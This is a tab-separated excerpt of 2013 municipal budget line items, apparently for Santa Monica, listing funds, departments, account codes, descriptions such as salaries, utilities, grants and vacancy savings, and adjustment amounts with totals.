2880	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403721.0	SERIAL INEBRIATE GRANT LEASING	610.0	Intergovernmental	2013	-450778.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-450778.0
2881	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577724.0	ST JOE HPSHP-CDBG	810.0	 Supplies and Expenses	2013	72469.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72469.0
2882	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577727.0	WCIL HOME ACCESS PROG-CDBG	810.0	 Supplies and Expenses	2013	36644.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36644.0
2883	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555397.0	11 UASI GRANT	806.0	 Supplies and Expenses	2013	152154.0	0	0.0	-62129.0	0	0	0.0	0	0.0	0	0	0.0	90025.0
2884	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		UNEMPLOYMENT		Salaries and Wages	2013	1009.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	1019.0
2885	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2013	713.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	713.0
2886	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2013	101578.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	101578.0
2887	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2013	96100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	96100.0
2888	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
2889	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2013	126898.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	126898.0
2890	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577300.0	PIER RESTORATION CORPORATION		 Supplies and Expenses	2013	482000.0	0	0.0	0.0	0	0	0.0	200000	0.0	0	0	0.0	682000.0
2891	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-3RD ST & MISC	800.0	 Supplies and Expenses	2013	27482.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27482.0
2892	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY HALL	808.0	 Supplies and Expenses	2013	13770.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13770.0
2893	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522860.0	FUEL MANAGEMENT SYSTEMS	806.0	 Supplies and Expenses	2013	2372.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2372.0
2894	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2013	2730.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2730.0
2895	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	37149.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37149.0
2896	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	280178.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	280178.0
2897	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2013	48000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	48000.0
2898	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2013	3416.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3416.0
2899	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	1910.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1910.0
2900	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
2901	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544220.0	GRAFFITI PROGRAM MATERIALS	808.0	 Supplies and Expenses	2013	130000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	130000.0
2902	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555140.0	PEST CONTROL	808.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
2903	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566330.0	STREET LIGHT MAINTENANCE	808.0	 Supplies and Expenses	2013	177000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	177000.0
2904	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	27695.0	0	0.0	-38.0	0	0	0.0	0	0.0	0	0	0.0	27657.0
2905	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	441171.0	0	0.0	0.0	0	0	0.0	4412	0.0	0	0	0.0	445583.0
2906	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	125135.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	125135.0
2907	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2013	958.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	958.0
2908	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	36862.0	0	0.0	0.0	0	0	0.0	369	0.0	0	0	0.0	37231.0
2909	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2013	413.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	413.0
2910	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	2831.0	0	0.0	0.0	0	0	0.0	28	0.0	0	0	0.0	2859.0
2911	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2013	2144.0	0	0.0	0.0	0	0	0.0	21	0.0	0	0	0.0	2165.0
2912	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	345.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	345.0
2913	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561430.0	STEP OFF THE STREETS SHP		 Supplies and Expenses	2013	13325.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13325.0
2914	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522340.0	BUY LOCAL CAMPAIGN		 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
2915	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577725.0	STEP UP SANCTUARY-CDBG	810.0	 Supplies and Expenses	2013	27063.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27063.0
2916	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403720.0	HUD SERIAL INEBRIATE GRANT	610.0	Intergovernmental	2013	-21672.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-21672.0
2917	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404211.0	OTHER OPER REV-OUTSIDE ADVERTI	650.0	Charges for Service	2013	-150000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-150000.0
2918	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567220.0	PFA 2011A (PKG ST 6)	910.0	 Supplies and Expenses	2013	2670931.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2670931.0
2919	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533210.0	BLDG OPER / CUST SUPPLIES	804.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
2920	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DCAP		Salaries and Wages	2013	144.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	144.0
2921	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2013	3658.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3658.0
2922	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	3483.0	0	0.0	0.0	0	0	0.0	35	0.0	0	0	0.0	3518.0
2923	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
2924	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2925	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
2926	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408210.0	BIKE TECHNO DEMO-MTA	610.0	Intergovernmental	2013	-209000.0	0	0.0	0.0	0	0	0.0	0	-27586.29	0	0	0.0	-236586.29
2927	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	407780.0	FIBER OPTIC SERVICES	618.0	Rentals	2013	-1300000.0	0	0.0	0.0	0	0	0.0	-200000	0.0	0	0	0.0	-1500000.0
2928	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	4751.0	0	0.0	0.0	0	0	0.0	708	0.0	0	0	0.0	5459.0
2929	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		UNEMPLOYMENT	804.0	Salaries and Wages	2013	1252.0	0	0.0	0.0	0	0	0.0	146	0.0	0	0	0.0	1398.0
2930	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EAP	804.0	Salaries and Wages	2013	284.0	0	0.0	0.0	0	0	0.0	42	0.0	0	0	0.0	326.0
2931	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	2003.0	0	0.0	0.0	0	0	0.0	270	0.0	0	0	0.0	2273.0
2932	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404860.0	1630 5TH LOT 29 (5TH & COLORA)	608.0	Licenses and Permits	2013	-45000.0	0	0.0	0.0	0	0	0.0	0	0.0	45000	0	0.0	0.0
2933	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579000.0	COUNCIL DISCRETIONARY FUNDS	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-13312	0	0.0	-13312.0
2934	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY YARD	808.0	 Supplies and Expenses	2013	58135.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	58135.0
2935	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571150.0	S+C HAP NEW	816.0	 Supplies and Expenses	2013	312973.0	0	0.0	0.0	0	0	0.0	-22492	0.0	0	0	0.0	290481.0
2936	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-41029.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-41029.0
2937	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-45575.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-45575.0
2938	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-36130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-36130.0
2939	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2013	-11039.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11039.0
2940	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2013	-95760.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-95760.0
2941	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2013	-16073.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-16073.0
2942	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2013	1187.0	0	0.0	0.0	0	0	0.0	119	0.0	0	0	0.0	1306.0
2943	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	317.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	317.0
2944	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	510.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	510.0
2945	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555218.0	COMMUNITY EMERGENCY RESP TEAM	804.0	 Supplies and Expenses	2013	23316.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23316.0
2946	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511017.0	PERMANENT EMPLOY SWORN POLICE	806.0	Salaries and Wages	2013	243360.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	243360.0
2947	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2013	5359.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5359.0
2948	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403720.0	SERIAL INEBRIATE GRANT ADMIN	610.0	Intergovernmental	2013	-31555.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-31555.0
2949	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562190.0	 CLARE CLARITY FOR YOUTH		 Supplies and Expenses	2013	41239.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	41239.0
2950	B1	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	375.0
2951	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405351.0	PRIVATE HAULER ANN. PERMIT FEE	650.0	Charges for Service	2013	-25996.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25996.0
2952	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405352.0	PRIVATE HAULER PER TON PAYMENT	650.0	Charges for Service	2013	-118500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-118500.0
2953	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555396.0	10 UASI GRANT	806.0	 Supplies and Expenses	2013	472.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	472.0
2954	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522549.0	ADVERTISING PAYMENTS (CCB)		 Supplies and Expenses	2013	105000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	105000.0
2955	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511748.0	DENTAL		Salaries and Wages	2013	2243.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2243.0
2956	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511749.0	VISION		Salaries and Wages	2013	274.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	274.0
2957	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-14788.0	0	0.0	0.0	0	0	0.0	512	0.0	0	0	0.0	-14276.0
2958	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-1681.0	-315	0.0	0.0	0	0	0.0	-1729	0.0	0	0	0.0	-3725.0
2959	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544460.0	HOMELESS COUNT	810.0	 Supplies and Expenses	2013	4018.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4018.0
2960	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409023.0	ENRICHMENT-SPRING	612.0	Charges for Service	2013	-86408.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-86408.0
2961	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2013	650000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	650000.0
2962	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402800.0	NAME PLATES / BENCHES	650.0	Charges for Service	2013	-16500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-16500.0
2963	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556160.0	SOLD URNS	808.0	 Supplies and Expenses	2013	8500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8500.0
2964	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	15387.0	0	0.0	0.0	0	0	0.0	154	0.0	0	0	0.0	15541.0
2965	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	3894.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3894.0
2966	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2013	322090.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	322090.0
2967	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533040.0	SPECIAL INSURANCE	804.0	 Supplies and Expenses	2013	18153.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18153.0
2968	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400884.0	SPC HAP EXPANSION	610.0	Intergovernmental	2013	-245292.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-245292.0
2969	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	14670.0	0	0.0	0.0	0	0	0.0	-7956	0.0	0	0	0.0	6714.0
2970	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 PORT IN ADMIN	610.0	Intergovernmental	2013	-23000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-23000.0
2971	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	2623.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2623.0
2972	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
2973	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	316	0.0	0	0	0.0	316.0
2974	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2013	480.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	480.0
2975	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2976	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2013	5916.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5916.0
2977	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2013	902.0	0	0.0	0.0	0	0	0.0	0	0.0	0	11100	0.0	12002.0
2978	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	246345.0	0	0.0	0.0	0	0	0.0	2463	0.0	0	0	0.0	248808.0
2979	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	22900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22900.0
2980	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	39411.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39411.0
2981	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG OPER/SUPPLIES-CITY HALL	808.0	 Supplies and Expenses	2013	40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
2982	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2013	43500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43500.0
2983	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555920.0	SANTA MONICA SWIM CENTER	808.0	 Supplies and Expenses	2013	90000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	90000.0
2984	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2013	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
2985	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533228.0	BLDG/STR MAINT-KEN EDWARDS	808.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
2986	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	160000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	160000.0
2987	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	373.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	373.0
2988	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2013	-67746.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-67746.0
2989	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	33555.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	33555.0
2990	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2013	5272.0	0	0.0	-58.0	0	0	0.0	52	0.0	0	0	0.0	5266.0
2991	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	8198.0	0	0.0	20.0	0	0	0.0	82	0.0	0	0	0.0	8300.0
2992	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2013	216.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	216.0
2993	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2013	548.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	548.0
2994	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2013	39385.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39385.0
2995	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	537457.0	0	0.0	0.0	0	0	0.0	15047	0.0	0	0	0.0	552504.0
2996	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2013	36264.0	0	0.0	0.0	0	0	0.0	1011	0.0	0	0	0.0	37275.0
2997	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2013	4050.0	0	0.0	0.0	0	0	0.0	102	0.0	0	0	0.0	4152.0
